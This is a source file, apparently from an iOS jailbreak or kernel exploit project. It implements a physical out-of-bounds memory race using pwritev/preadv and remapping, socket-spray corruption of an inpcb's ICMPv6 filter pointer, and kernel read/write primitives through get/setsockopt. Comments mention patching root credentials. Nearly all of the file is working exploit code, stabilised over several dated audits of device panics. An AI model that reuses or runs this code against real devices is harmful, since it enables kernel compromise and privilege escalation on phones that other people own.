static void wired_pages_cleanup(NSMutableArray<NSNumber *> *wiredAddrs, mach_vm_size_t wiredEntrySize) {
    // BUG.2 audit (0.12): the tracking array is emptied here, so a page that was
    // already released inline (pe_v2's "Found wired page" branch removes it from
    // the array BEFORE deallocating it) can never be released twice.
    unsigned long cleaned = 0;
    for (NSNumber *addr in wiredAddrs) {
        surface_munlock(addr.unsignedLongLongValue, wiredEntrySize);
        mach_vm_deallocate(mach_task_self_, addr.unsignedLongLongValue, wiredEntrySize);
        cleaned++;
    }
    [wiredAddrs removeAllObjects];
    KPRINTF("[cleanup] wired_pages_cleanup: %lu wired page(s) munlocked + deallocated\n",
            cleaned);
}

// ---------------------------------------------------------------------------
// BUG.2 audit (0.12, 2026-09-11 device day): the memory-object port is a right
// that must be released exactly once. It used to be a bare mach_port_deallocate
// whose return value pe_v1 turned into a FAILURE_V - so a transient failure both
// leaked the right AND aborted the attempt. One bounded retry, then a log line
// naming the outcome either way, so a device log shows whether the port went
// away. The caller keeps its old behaviour: pe_v1 FAILURE_Vs on a non-success
// return, pe_v2 only reports it.
static kern_return_t release_memory_object(mach_port_t memoryObject, const char *who) {
    if (memoryObject == MACH_PORT_NULL) {
        return KERN_SUCCESS;   // nothing was named: no release to make, no log line
    }
    kern_return_t kr = mach_port_deallocate(mach_task_self(), memoryObject);
    if (kr != KERN_SUCCESS) {
        kr = mach_port_deallocate(mach_task_self(), memoryObject);
    }
    KPRINTF("[cleanup] %s: memory object %#x released (kr=%d)\n", who, memoryObject, kr);
    return kr;
}

// ---------------------------------------------------------------------------
// BUG.2 audit (0.12): THE release funnel for one pe_v1 cycle.
//
// pe_v1 used to have six exits that walked away with the cycle still held: the
// two early returns (race latched broken -4, spray/race cycles exhausted -1) and
// the three FAILURE_V exits (search-mapping allocate, memory-object make,
// memory-object deallocate) returned without releasing the socket spray, without
// deallocating the search mappings and - because the walk mlocks every search
// mapping it reads (surface_mlock) - without ever releasing the IOSurface that
// pins those pages. None of that comes back to the process: it is the memory
// pressure this bug is about. The A3.5 fix had covered pe_v2 only.
//
// One helper, called on every exit, and each item is released exactly once
// because the tracking array is the record: sockets_release() empties both
// arrays (a second call is a no-op) and each search mapping is removed from
// searchMappings before it is touched. Munlock BEFORE deallocate: releasing the
// IOSurface after the VM mapping is gone is what leaks the pages.
//
// The A18 wired mapping is special on purpose: pe_v1 allocates it ONCE before
// the spray/race loop and reuses it, so a cycle that is going to continue only
// munlocks it (`releaseWiredMapping == false`, the behaviour that was there
// before), while a terminal exit also deallocates it. Allocation order and the
// technique are untouched. `searchMappings` may be nil (the exits that fire
// before a cycle's array exists); the loop is then a no-op.
// ---------------------------------------------------------------------------
static void pe_v1_release_cycle(NSMutableArray<NSNumber *> *searchMappings,
                                uint64_t searchMappingSize,
                                mach_vm_address_t wiredMapping,
                                mach_vm_size_t wiredMappingSize,
                                bool releaseWiredMapping) {
    sockets_release(socketPorts, socketPcbIds);
    while (searchMappings.lastObject) {
        mach_vm_address_t address = searchMappings.lastObject.unsignedLongLongValue;
        [searchMappings removeLastObject];
        surface_munlock(address, searchMappingSize);
        kern_return_t dkr = mach_vm_deallocate(mach_task_self(), address, searchMappingSize);
        KPRINTF("[cleanup] pe_v1: search mapping %#llx munlocked + deallocated (kr=%d)\n",
                address, dkr);
    }
    if (wiredMapping) {
        surface_munlock(wiredMapping, wiredMappingSize);
        if (releaseWiredMapping) {
            kern_return_t dkr = mach_vm_deallocate(mach_task_self(), wiredMapping, wiredMappingSize);
            KPRINTF("[cleanup] pe_v1: wired mapping %#llx munlocked + deallocated (kr=%d)\n",
                    wiredMapping, dkr);
        } else {
            KPRINTF("[cleanup] pe_v1: wired mapping %#llx munlocked (kept for the next cycle)\n",
                    wiredMapping);
        }
    }
    // BUG.2 (0.12 audit round 3): the per-cycle searchMappings ARRAY is an OWNED
    // (MRC) object as well, and it was re-created at the top of every cycle while
    // the previous one stayed alive for the whole process (its capacity buffer
    // included). Released here - the single exit path - AFTER the loop above has
    // drained it. Every caller either returns right after this call or loops back
    // and re-creates it, so it is released exactly once; ObjC release of nil (the
    // -4/-1 exits that fire before the first cycle exists) is a no-op.
    if (searchMappings) {
        KPRINTF("[cleanup] pe_v1: searchMappings tracker released (%lu left, BUG.2)\n",
                (unsigned long)searchMappings.count);
        searchMappings = nil;   // 1.3.0 (ARC): nil-ing the only ref releases it
    }
    // ...and so is the attempt's spray-tracking pair (socketPorts/socketPcbIds
    // live at file scope and are re-created by tracker_arrays_reset() at the top
    // of the next cycle / attempt, so releasing them HERE - the single pe_v1 exit
    // path - is what makes "released exactly once, on every exit" structural
    // rather than a list of call sites. tracker_arrays_release() also drains any
    // port still held, so this cannot lose a fileport either.
    tracker_arrays_release();
}

void pe_init(void) {
    init_target_file();

    if (!executableName) {
        uint32_t sz = PATH_MAX;
        _NSGetExecutablePath(executablePath, &sz);
        executableName = strrchr(executablePath, '/');
        if (executableName) {
            executableName++;
        } else {
            executableName = executablePath;
        }
    }
    
    pthread_attr_t pattr;
    pthread_attr_init(&pattr);
    pthread_attr_set_qos_class_np(&pattr, QOS_CLASS_USER_INITIATED, 0);
    // BUG.2 (0.12 audit round 3): one free thread PER PROCESS, not per attempt.
    // A second pe_init (retry / HUD RERUN) used to start a second thread on top
    // of the previous one, which was never stopped - two threads racing the same
    // FIXED|OVERWRITE window. A thread that is still live is reused as-is: it is
    // waiting in free_thread's race loop, and initialize_physical_read_write()
    // (the only thing that arms it) runs on this attempt exactly like the first.
    if (g_freeThreadLive) {
        KPRINTF("[cleanup] pe_init: free thread already live — reusing it, no second thread (BUG.2)\n");
        return;
    }
    g_freeThreadStop = 0;   // a previous teardown set it; this is a fresh thread
    pthread_create(&freeThread, &pattr, free_thread, NULL);
    g_freeThreadLive = true;
}

void create_physically_contiguous_mapping(mach_port_t *port,
                                          mach_vm_address_t *address,
                                          mach_vm_size_t size) {
    NSDictionary *params = @{
        (__bridge id)kIOSurfaceAllocSize : @(size),
        @"IOSurfaceMemoryRegion" : @"PurpleGfxMem",
    };

    IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef)params);

    if (!surface) {
        // iOS 17.x: the purple gfx carveout may be unavailable (busy, or the
        // region is denied). Fall back to a plain wired mapping — the race's
        // map shape (FIXED|OVERWRITE) was verified to work over plain entries
        // on 17.1 even under full pwritev concurrency (primtest TW4). If the
        // OOB read requires the carveout's physical contiguity, the socket
        // scan will just not find PCB pages — the HUD/logs will show which
        // stage fails.
        KPRINTF("[-] PurpleGfxMem surface unavailable — falling back to plain pcAddress\n");
        mach_vm_address_t plainAddr = 0;
        kern_return_t kr = mach_vm_allocate(mach_task_self(), &plainAddr, size,
                                            VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR);
        if (kr != KERN_SUCCESS) {
            printf("[-] plain pcAddress alloc failed: %d\n", kr);
            FAILURE(0);
        }
        memset64((void *)plainAddr, 0, size);
        mach_vm_size_t entrySize = size;
        kr = mach_make_memory_entry_64(mach_task_self(), &entrySize, plainAddr,
                                       VM_PROT_DEFAULT, port, 0);
        if (kr != KERN_SUCCESS || *port == MACH_PORT_NULL) {
            printf("[-] plain pcAddress memory entry failed: %d\n", kr);
            FAILURE(0);
        }
        *address = plainAddr;
        KPRINTF("[+] plain pcAddress: %#llx (object=%u)\n", plainAddr, *port);
        return;
    }

    void *physicalMappingAddress = IOSurfaceGetBaseAddress(surface);
    KPRINTF("[+] physicalMappingAddress: %p\n", physicalMappingAddress);

    mach_port_t memoryObject;
    kern_return_t kr = mach_make_memory_entry_64(
        mach_task_self(), &size, (mach_vm_address_t)physicalMappingAddress,
        VM_PROT_DEFAULT, &memoryObject, 0);
    if (kr != KERN_SUCCESS) {
        printf("[-] mach_make_memory_entry_64 failed: %d\n", kr);
        FAILURE(0);
    }

    if (memoryObject == MACH_PORT_NULL) {
        printf("[-] mach_make_memory_entry_64 returned a null port\n");
        FAILURE(0);
    }

    mach_vm_address_t newMappingAddress;
    kr = mach_vm_map(mach_task_self(), &newMappingAddress, size, 0,
                     VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, memoryObject, 0,
                     0, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);

    if (kr != KERN_SUCCESS) {
        printf("[-] mach_vm_map failed!!!\n");
        FAILURE(0);
    }

    CFRelease(surface);
    *port = memoryObject;
    *address = newMappingAddress;
}

void initialize_physical_read_write(uint64_t contiguous_mapping_size) {
    // BUG.2 (0.12 audit round 3): a retry (TweakExploit retries up to 5x, the
    // HUD RERUN resets the counter) runs this again and used to overwrite
    // pcObject/pcAddress with the new pair, orphaning the previous OOB mapping
    // AND its port right until process death. Release the old pair first. The
    // allocation ORDER and the mapping size are untouched - this only makes the
    // replacement not leak. Safe here: the previous attempt's free thread has
    // already been joined by kexploit_attempt_teardown() before this point, and
    // nothing sets raceSync before the walk starts.
    release_physical_mapping();
    pcSize = contiguous_mapping_size;
    create_physically_contiguous_mapping(&pcObject, &pcAddress, pcSize);
    printf("[+] pcObject: %u\n", pcObject);
    KPRINTF("[+] pcAddress: %#llx\n", pcAddress);
    memset64((void *)pcAddress, randomMarker, pcSize);
    __atomic_store_n(&freeTarget, pcAddress, __ATOMIC_RELEASE);
    __atomic_store_n(&freeTargetSize, pcSize, __ATOMIC_RELEASE);
    __atomic_store_n(&freeThreadStart, 1, __ATOMIC_RELEASE);
    __asm__ __volatile__("" ::: "memory");
    __atomic_store_n(&goSync, 1, __ATOMIC_RELEASE);
}

kern_return_t physical_oob_read_mo(mach_port_t memoryObject,
                                   mach_vm_offset_t memoryObjectOffset,
                                   mach_vm_size_t size, mach_vm_offset_t offset,
                                   void *buffer) {
    __atomic_store_n(&targetObject, memoryObject, __ATOMIC_RELEASE);
    __atomic_store_n(&targetObjectOffset, memoryObjectOffset, __ATOMIC_RELEASE);
    __asm__ __volatile__("" ::: "memory");
    iov.iov_base = (void *)(pcAddress + 0x3f00);
    iov.iov_len = offset + size;
    *(uint64_t *)buffer = randomMarker;
    *(uint64_t *)(pcAddress + 0x3f00 + offset) = randomMarker;

    bool readRaceSucceeded = false;
    int w = 0;
    static _Atomic int raceAbortLogged = 0;
    for (int tryIdx = 0; tryIdx < highestSuccessIdx + 100; tryIdx++) {
        // Stop flag (app CANCEL) or the wall-clock budget: return the same "no
        // read" result the race-broken path returns, so the caller moves on
        // instead of retrying. Both exist because a wedged race used to spin a
        // core until iOS resource-killed the app (SE, 2026-09-11).
        if (atomic_load_explicit(&g_stopRequested, __ATOMIC_RELAXED) ||
            (g_exploitStart != 0 && (time(NULL) - g_exploitStart) > SCAN_BUDGET_SEC())) {
            if (atomic_exchange(&raceAbortLogged, 1) == 0) {
                KPRINTF("[race] stopping the read race (stop requested or %ds budget reached)\n",
                        SCAN_BUDGET_SEC());
            }
            usleep(500);
            __atomic_store_n(&targetObject, 0, __ATOMIC_RELEASE);
            return 1;
        }
        if (atomic_load_explicit(&g_raceBroken, __ATOMIC_RELAXED)) {
            if (atomic_exchange(&raceAbortLogged, 1) == 0) {
                KPRINTF("[-] race broken on this device — aborting read attempt (logged once)\n");
            }
            // Fail fast without burning CPU: callers walk hundreds of
            // offsets, and a hot abort loop here (print+return+re-call,
            // ~900/sec) pegged a core until iOS killed the app — fatal 309
            // on iPhone 14 / 26.0.1, 2026-09-01. Log once, throttle, bail.
            usleep(500);
            __atomic_store_n(&targetObject, 0, __ATOMIC_RELEASE);
            return 1;
        }
        __atomic_store_n(&raceSync, 1, __ATOMIC_RELEASE);
        __asm__ __volatile__("" ::: "memory");
        w = pwritev(readFd, &iov, 1, 0x3f00);
        // 1.6.3: upstream spins here with NO cap and NO throttle
        // (ClearSword phys_oob.c:58). A capped spin declares a "sync timeout"
        // whenever the free thread is one scheduler slice late, the abort
        // re-enters and re-sprays, and the extra corruption is exactly what
        // the zone guard keeps panicking on (the whole zalloc.c:1308 series).
        // The stop-flag/budget checks at the top of the loop stay the only
        // aborts; cpu_resource warnings are tolerable and non-fatal.
        while (__atomic_load_n(&raceSync, __ATOMIC_ACQUIRE) == 1) {
            if (atomic_load_explicit(&g_stopRequested, __ATOMIC_RELAXED)) break;
        }

        kern_return_t kr =
            mach_vm_map(mach_task_self(), &pcAddress, pcSize, 0,
                        VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pcObject, 0, 0,
                        VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
        if (kr != KERN_SUCCESS) {
            printf("[+] mach_vm_map failed!!!\n");
            FAILURE_V(0, KERN_FAILURE);
        }
        if (w == -1) {
            static _Atomic int g_wfailCount = 0;
            int wn = atomic_fetch_add(&g_wfailCount, 1) + 1;
            if ((wn % 1000) == 1) {
                KPRINTF("[race] pwritev failed (w=-1) #%d at try %d — race window hit\n", wn, tryIdx);
            }
            int r = pread(readFd, buffer, size, 0x3f00 + offset);
            uint64_t marker = *(uint64_t *)buffer;
            if (marker != randomMarker) {
                static _Atomic int g_readLandCount = 0;
                int n = atomic_fetch_add(&g_readLandCount, 1) + 1;
                // Rate-limited: 30k+ landings flooded 108MB of syslog in 15min
                // (diskwrites/jetsam pressure). First 10 + every 500th.
                if (n <= 10 || (n % 500) == 0) {
                    KPRINTF("[race] OOB READ LANDED #%d (try %d, mo=%#x off=%#llx) buf0=%#llx\n",
                            n, tryIdx, memoryObject, memoryObjectOffset, marker);
                }
                readRaceSucceeded = true;
                successReadCount++;
                atomic_fetch_add_explicit(&g_scan_landed, 1, __ATOMIC_RELAXED);
                if (tryIdx > highestSuccessIdx) {
                    highestSuccessIdx = tryIdx;
                }
                break;
            } else {
                // 1.6.3: upstream cadence — usleep(1) and straight back in, no
                // exponential backoff (ClearSword phys_oob.c:84).
                usleep(1);
            }
        }
        if (tryIdx == 500) {
            break;
        }
    }
    __atomic_store_n(&targetObject, 0, __ATOMIC_RELEASE);
    if (!readRaceSucceeded)
        return 1;
    return KERN_SUCCESS;
}

kern_return_t physical_oob_read_mo_with_retry(
    mach_port_t memoryObject, mach_vm_offset_t memoryObjectOffset,
    mach_vm_size_t size, mach_vm_offset_t offset, void *buffer) {
    // 1.7.0: unbounded like upstream (ClearSword phys_oob.c:98-105) — a cap
    // here returned with the caller still trusting a STALE buffer, which then
    // drove write campaigns off garbage. Only the stop flag cuts this.
    kern_return_t kr;
    int attempts = 0;
    do {
        kr = physical_oob_read_mo(memoryObject, memoryObjectOffset, size,
                                  offset, buffer);
        if (kr != KERN_SUCCESS && (++attempts % 50) == 0) {
            KPRINTF("[-] physical_oob_read retry #%d still failing (race not winning)\n", attempts);
        }
        if (kr == KERN_SUCCESS) break;
        if (atomic_load_explicit(&g_stopRequested, __ATOMIC_RELAXED)) break;
    } while (true);
    return kr;
}

kern_return_t physical_oob_write_mo(mach_port_t memoryObject,
                                   mach_vm_offset_t memoryObjectOffset,
                                   mach_vm_size_t size, mach_vm_offset_t offset,
                                   void *buffer) {
    __atomic_store_n(&targetObject, memoryObject, __ATOMIC_RELEASE);
    __atomic_store_n(&targetObjectOffset, memoryObjectOffset, __ATOMIC_RELEASE);
    __asm__ __volatile__("" ::: "memory");
    iov.iov_base = (void *)(pcAddress + 0x3f00);
    iov.iov_len = offset + size;

    pwrite(writeFd, buffer, size, 0x3f00 + offset);
    // 1.8.1: 3 race attempts per write, not 20 — the alias write either lands
    // fast or the window is dropped (targets are found every cycle; panic
    // exposure per window drops ~7x).
    for (int tryIdx = 0; tryIdx < 3; tryIdx++) {
        __atomic_store_n(&raceSync, 1, __ATOMIC_RELEASE);
        __asm__ __volatile__("" ::: "memory");
        preadv(writeFd, &iov, 1, 0x3f00);
        // 1.7.0: upstream form (ClearSword phys_oob.c:116-129) — bare spin,
        // no cap, and the restore-map runs EVERY iteration. The old capped
        // spin + continue skipped the restore, left pcAddress aliased to a
        // foreign memory object, and desynced main vs free thread — that is
        // the phys-aperture panic class.
        while (__atomic_load_n(&raceSync, __ATOMIC_ACQUIRE) == 1) {
            if (atomic_load_explicit(&g_stopRequested, __ATOMIC_RELAXED)) break;
        }
        kern_return_t kr =
            mach_vm_map(mach_task_self(), &pcAddress, pcSize, 0,
                        VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pcObject, 0, 0,
                        VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);

        if (kr != KERN_SUCCESS) {
            printf("[-] mach_vm_map failed (try %d/3, kr=%d)\n", tryIdx, kr);
            __atomic_store_n(&targetObject, 0, __ATOMIC_RELEASE);
            return KERN_FAILURE;
        }
    }
    __atomic_store_n(&targetObject, 0, __ATOMIC_RELEASE);
    // 1.7.0: no inner read-back verify (upstream verifies at the call site's
    // alias loop instead) — every extra OOB read race here was another roll
    // of the panic dice.
    return KERN_SUCCESS;
}

void set_target_kaddr(uint64_t where) {
    memset(controlData, 0, EARLY_KRW_LENGTH);
    *(uint64_t *)controlData = where;
    int res = setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER,
                         controlData, EARLY_KRW_LENGTH);
    if (res != 0) {
        printf("[-] setsockopt failed!!!");
        FAILURE(0);
    }
}

void early_kread(uint64_t where, void *read_buf, size_t size) {
    if(!is_kaddr_valid(where)) {
        KPRINTF("[%s:%d] kaddr isn't valid, calling FAILURE. kaddr: 0x%llx\n", __FUNCTION__, __LINE__, where);
        void *bt[64]; int n = backtrace(bt, 64);
        char **s = backtrace_symbols(bt, n);
        for (int i = 0; i < n; i++) printf("  #%d %s\n", i, s[i]);
        free(s);
        FAILURE(0);
    }
    
    if (size > EARLY_KRW_LENGTH) {
        printf("[!] error: (size > EARLY_KRW_LENGTH)\n");
        FAILURE(0);
    }
    pthread_mutex_lock(&g_krw_lock);
    set_target_kaddr(where);
    socklen_t read_data_length = (socklen_t)size;
    int res = getsockopt(rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, &read_data_length);
    if (res != 0) {
        pthread_mutex_unlock(&g_krw_lock);
        printf("[-] getsockopt failed!!!\n");
        FAILURE(0);
    }
    pthread_mutex_unlock(&g_krw_lock);
}

uint64_t early_kread64(uint64_t where) {
    uint64_t value = 0;
    early_kread(where, &value, sizeof(value));
    return value;
}

void early_kwrite32bytes(uint64_t where, uint8_t writeBuf[EARLY_KRW_LENGTH]) {
    pthread_mutex_lock(&g_krw_lock);
    set_target_kaddr(where);
    int res = setsockopt(rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, writeBuf, EARLY_KRW_LENGTH);
    if (res != 0) {
        // BUG.5: a refused write did not modify kernel memory. It is counted as
        // a refusal (its own counter) and never as a write, so the "kernel
        // writes issued" figure stays a statement about writes that landed.
        kwrite_count_failed(kwrite_src_current(), EARLY_KRW_LENGTH);
        pthread_mutex_unlock(&g_krw_lock);
        // NOT [FATAL]: a failed kwrite is EXPECTED for best-effort targets — the
        // root-cred patch hits read-only cred memory on iOS 17+/18 and logged 7
        // [FATAL] lines on every successful escape. Callers verify via read-back
        // and schedule retries; FATAL stays reserved for real exploit breakage.
        TweakLog("[krw] early_kwrite32bytes: setsockopt failed (res=%d) at 0x%llx", res, (uint64_t)where);
        printf("[-] setsockopt failed!!! (res=%d, target 0x%llx)\n", res, (uint64_t)where);
        return;
    }
    // BUG.5: this is the ONE place bytes reach the kernel (every kwrite*/buffer
    // /probe path funnels here), so this is where the measurement lives. The
    // route is whatever the outer entry point pushed; a direct caller counts as
    // the 32-byte primitive itself.
    kwrite_count_emit(kwrite_src_current(), EARLY_KRW_LENGTH);
    pthread_mutex_unlock(&g_krw_lock);
}

void early_kwrite64(uint64_t where, uint64_t what) {
    uint8_t writeBuf[EARLY_KRW_LENGTH];
    early_kread(where, writeBuf, EARLY_KRW_LENGTH);
    *(uint64_t *)writeBuf = what;
    // BUG.5: the RMW is one 32-byte write, attributed to this entry point (the
    // counter's stack is thread_local, so a concurrent writer is unaffected).
    kwrite_src_t prevSrc = kwrite_src_push(KWRITE_SRC_KRW64);
    early_kwrite32bytes(where, writeBuf);
    kwrite_src_pop(prevSrc);
}

// ---------------------------------------------------------------------------
// BUG.1 (2026-09-11 device day): the staged write probe corrupted the icmp6
// filt pointer of a LIVE inpcb and only put the saved values back after a
// follow-up OOB read-back succeeded. On the SE run the read-back never landed
// ("physical_oob_read retry #50 still failing"), so the corruption stayed in
// the kernel and the next ICMPv6 operation on that socket panicked the device
// (zalloc.c:1322 zone bound check, Panicked task: W0lfTerm).
//
// The restore is now a STRUCTURAL guarantee instead of a per-callsite habit:
//
//   find_and_corrupt_socket()             the only entry point (pe_v1, pe_v2)
//     -> find_and_corrupt_socket_probe()  original probe logic, restores nothing
//     -> probe_exit_action_for(rc)        == RESTORE for every exit but the
//        restore_corrupted_socket()          promotion (see probe_restore_policy.c)
//
// Every exit that is not the krw-primitive promotion - write-verify exhaustion,
// getsockopt failure, marker mismatch, cancel/budget, an early "not our PCB"
// return, and any early return added later - funnels through the ONE helper,
// with a bounded retry, and logs the outcome either way
// ('[STAGED] probe restored' / 'probe restore FAILED after N tries').
//
// The single exception is the promotion itself (return KERN_SUCCESS). There the
// corrupted socket IS the kernel R/W primitive: set_target_kaddr() writes the
// target address through `controlSocket` and early_kread()/early_kwrite32bytes()
// read/write through `rwSocket`. Restoring on that path would end the primitive
// the caller is about to use, which is why it is handed over instead - mode 2
// restores it immediately afterwards in run_write_test(), and staged mode
// restores it on the stage-2/2 failure path.
//
// BUG.1 step 1 (same day): "funnels through the helper" was necessary but not
// sufficient - the helper could not always WRITE. It re-opened its fds from the
// spray tracking array, and pe_v1's release funnel (BUG.2 audit, same day) empties
// that array via sockets_release() before the caller's own restore runs, so the
// staged -5 exit (kernel-base scan exhausted) hit "controlSocketIdx out of range
// (0 sockets)" -> "probe restore FAILED after 0 tries: krw socket not live" and
// returned with the corrupted inpcb still live: BUG.1, one exit later, and not a
// single saved byte written back. Both halves are now policy (kexploit/
// probe_restore_policy.c, host-tested): which exits restore (all but the
// promotion, fail-safe default) and which fds the restore may use (the tracking
// array, else the promotion's still-open fds for THIS corruption - generation +
// index stamped - else a loud failure).
#define PROBE_RESTORE_MAX_TRIES 5
// BUG.1 step 2: one bounded write-verify loop for every page write the probe
// makes (the inert-field probe, and the alias write that follows it).
// 1.8.1: risk math, not vibes. One window used to cost up to 20 write-races
// x 100 verifies = 2000 panic-dice rolls per page. Targets are found nearly
// every cycle, so the lever is fewer rolls per window: 3 races per write,
// 6 verifies — if it didn't land, drop the window, the next one is coming.
#define PROBE_WRITE_MAX_TRIES 6
// BUG.1 step 2: the marker the probe writes into the inert field. Only the low
// 32 bits (in6p_cksum) carry the marker — in6p_hops and the padding in the same
// qword are copied from the saved value, so the probe cannot disturb the
// neighbour field. The read-back compares the WHOLE qword, so a write that
// landed in the wrong place (or not at all) shows up as a value mismatch
// instead of as a kernel fault on the next socket operation.
#define PROBE_CHKSUM_MARKER 0xDEADBEEFULL

// Open the two fds the probe writes through: control = the socket whose
// icmp6filt we corrupted, rw = the next sprayed socket, same ports and same
// order as the original code.
//
// BUG.1 step 1: the pair is opened into LOCALS and only COMMITTED when both
// opens succeeded, and a successful commit stamps the pair with the corruption
// generation it was opened for (g_probe_fds_gen / g_probe_fds_idx). The old
// version zeroed the globals first - which is exactly what made the staged -5
// restore impossible once the spray array was gone (it zeroed a pair that was
// still the right one), and a "non-zero means ours" shortcut is unsafe for the
// same reason it always was: a page that exits before its own open leaves the
// PREVIOUS page's pair in the globals. probe_fds_are_live_for() is therefore the
// only way either the promotion or the restore may trust these two globals.
static bool probe_fds_are_live_for(int controlSocketIdx) {
    return controlSocket > 0 && rwSocket > 0 &&
           g_probe_fds_idx == controlSocketIdx &&
           g_probe_fds_gen == g_probe_save_gen;
}

static void open_probe_socket_fds(int controlSocketIdx) {
    if (socketPorts == nil || controlSocketIdx < 0 ||
        (NSUInteger)(controlSocketIdx + 1) >= socketPorts.count) {
        KPRINTF("[-] probe fds: controlSocketIdx %d out of range (%lu sockets)\n",
                controlSocketIdx, (unsigned long)socketPorts.count);
        return;
    }
    int newControl = fileport_makefd((fileport_t)socketPorts[controlSocketIdx].unsignedLongLongValue);
    if (newControl <= 0) {
        KPRINTF("[-] probe fds: fileport_makefd(control) failed (%d) — a restore through this path cannot write\n",
                newControl);
        return;
    }
    controlSocket = newControl;
    rwSocket = 0;

    // 1.3.8: the proc-info-named rw port comes pre-bound via g_probe_rw_idx_hint
    // (find_and_corrupt_socket re-struck the alias at that port's soi_pcb).
    if (g_probe_rw_idx_hint >= 0 && socketPorts != nil &&
        (NSUInteger)g_probe_rw_idx_hint < socketPorts.count) {
        int hintFd = fileport_makefd((fileport_t)socketPorts[g_probe_rw_idx_hint].unsignedLongLongValue);
        if (hintFd > 0) {
            rwSocket = hintFd;
            g_probe_fds_gen = g_probe_save_gen;
            g_probe_fds_idx = controlSocketIdx;
            KPRINTF("[+] probe fds: пара открыта — control idx=%d fd=%d, rw idx=%d fd=%d\n",
                    controlSocketIdx, newControl, g_probe_rw_idx_hint, hintFd);
            return;
        }
        KPRINTF("[-] probe fds: fileport_makefd для rw-хинта #%d отказал\n", g_probe_rw_idx_hint);
        return;
    }
    KPRINTF("[-] probe fds: rw-хинта нет (proc_info не дал inpcb) — окно уходит в restore\n");
}

// BUG.1 step 2: the one bounded write-verify loop both page writes use. It
// writes `writeBuffer` over the raced page, re-reads the page through the OOB
// mapping and reports whether `verifyValue` is now at buffer offset `verifyOff`.
// No socket and no pointer is touched here: the verdict is the OOB read-back of
// the very field we wrote, so a write that does not land is a mismatch to retry
// rather than a kernel-visible object state.
//   1  = the read-back shows the value we just wrote (the write landed)
//  -1  = the attempts ran out without a confirmed write
//  -7  = cancel / scan budget; the caller funnels through the restore path
// `readBuffer` is the caller's working buffer and holds the newest page read on
// return, exactly like the loop this replaces.
static int probe_page_write_verify(mach_port_t memoryObject, mach_vm_offset_t seekingOffset,
                                   void *readBuffer, void *writeBuffer,
                                   uint64_t verifyOff, uint64_t verifyValue,
                                   const char *what) {
    // 1.7.2: write only up to the end of the target fields, not the whole
    // 0xf00 window. The bytes past verifyOff+16 are other inpcb slots holding
    // live freelist pointers; writing them back "as read" is only safe if the
    // page never changed between the read and the write — and mid-race it
    // does. That stale-writeback tail was the zone-poisoning half of the
    // panic series (kalloc.32 mismatch / per-cpu allocation).
    const mach_vm_size_t writeLen = (mach_vm_size_t)(verifyOff + 16);
    int attempts = 0;
    while (attempts++ < PROBE_WRITE_MAX_TRIES) {
        // A CANCEL that lands while this verify loop is running must not leave a
        // half-written field behind (BUG.1): the caller restores on -7.
        if (kexploit_stop_requested() ||
            (g_exploitStart != 0 && (time(NULL) - g_exploitStart) > SCAN_BUDGET_SEC())) {
            KPRINTF("[STAGED] %s cancelled after %d write attempt(s) — the exit funnel restores the socket\n",
                    what, attempts - 1);
            return -7;
        }
        kern_return_t writeKr = physical_oob_write_mo(memoryObject, seekingOffset, writeLen, OOB_OFFSET, writeBuffer);
        physical_oob_read_mo_with_retry(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer);
        uint64_t got = *(uint64_t *)((uintptr_t)readBuffer + verifyOff);
        if (got == verifyValue) {
            KPRINTF("[+] %s: %#llx verified (writeKr=%d, attempts=%d)\n",
                    what, got, writeKr, attempts);
            return 1;
        }
        if (attempts % 10 == 0) {
            printf("[-] %s verify pending... attempt %d/%d (got %#llx)\n",
                   what, attempts, PROBE_WRITE_MAX_TRIES, got);
        }
    }
    return -1;
}

static bool restore_corrupted_socket(void);   // defined in the restore section below

// ---------------------------------------------------------------------------
// BUG.1 step 3b (2026-09-11 SE panic): THE PROBE'S OWN WRITES GO THROUGH THE
// CLAMPED WRITER.
//
// Step 3 clamped kwrite_zone_element, but nothing in this probe used it: the
// promotion round trip and the restore wrote through early_kwrite64, i.e. an
// unclamped 32-byte read-modify-write at whatever address it was handed - and
// 0.13 found the restore doing exactly that through a pcb the flawed list walk
// had produced, with nothing having verified the address. Both writes now ask
// krw_zone_write_qword() to prove the block before it goes out, so a block that
// is not provably inside the window below is REFUSED and no byte is written.
//
// The window they declare is the inpcb's own field span, derived from the
// runtime field offset rather than guessed:
//
//   last field touched = icmp6filt + 8        (the qword the probe preserves)
//   window size        = krw_zone_window_for_field_end(its end)
//
// i.e. 0x160 for both layouts this tree knows: 0x148+8 -> 0x158 -> 0x160 (18.x,
// 26.x) and 0x150+8 -> 0x160 (17.0-17.7.x). The icmp6filt qword and the chksum
// qword both sit in the same 0x20-aligned block (0x140..0x160), which is why
// even a window this small covers both put-back writes; a field table that ever
// puts them outside it gets a refusal instead of a write.
//
// BUG.7 (0.13, closed below): a field span is not the ALLOCATION size. The zone
// an inpcb came from is reachable - pcb -> inpcbinfo.ipi_zone -> the zone's own
// z_elem_size (off_zone_elem_size, kernelcache-verified in offsets.m) - and that
// number IS the kalloc bucket the object was allocated from, i.e. the real
// extent of the allocation. When it can be read, the declaration becomes the
// bucket; the field span stays the floor, because a bucket SMALLER than the
// fields the struct is known to have means the two statements about this object
// contradict each other (wrong zone pointer, wrong offsets table, a pcb that is
// not the object base) - that verdict refuses every write through the window and
// is logged as a failure, instead of writing through a self-consistent guess.
// A read that fails or is not a kalloc size class keeps the field span, which is
// exactly the behaviour this tree shipped before the zone read existed.
//
// Address trust does NOT come from this window: it comes from the
// canonical-pointer guard (0.13) plus the live-inpcb value check in the round
// trip. What the window adds is that no 32-byte block is ever emitted unless it
// is provably inside the allocation - the SE's block (0x20 at +0x50 of a 0x60
// object) is refused here, and with the bucket read, the extent it is proved
// against is the kernel's own answer rather than the struct's.

// The kernel-I/O half of the zone read: one qword, PAC-stripped. Injected into
// krw_zone_bucket_for_pcb() so the chain's decision half (krw_zone_size.c) is the
// file the host test compiles.
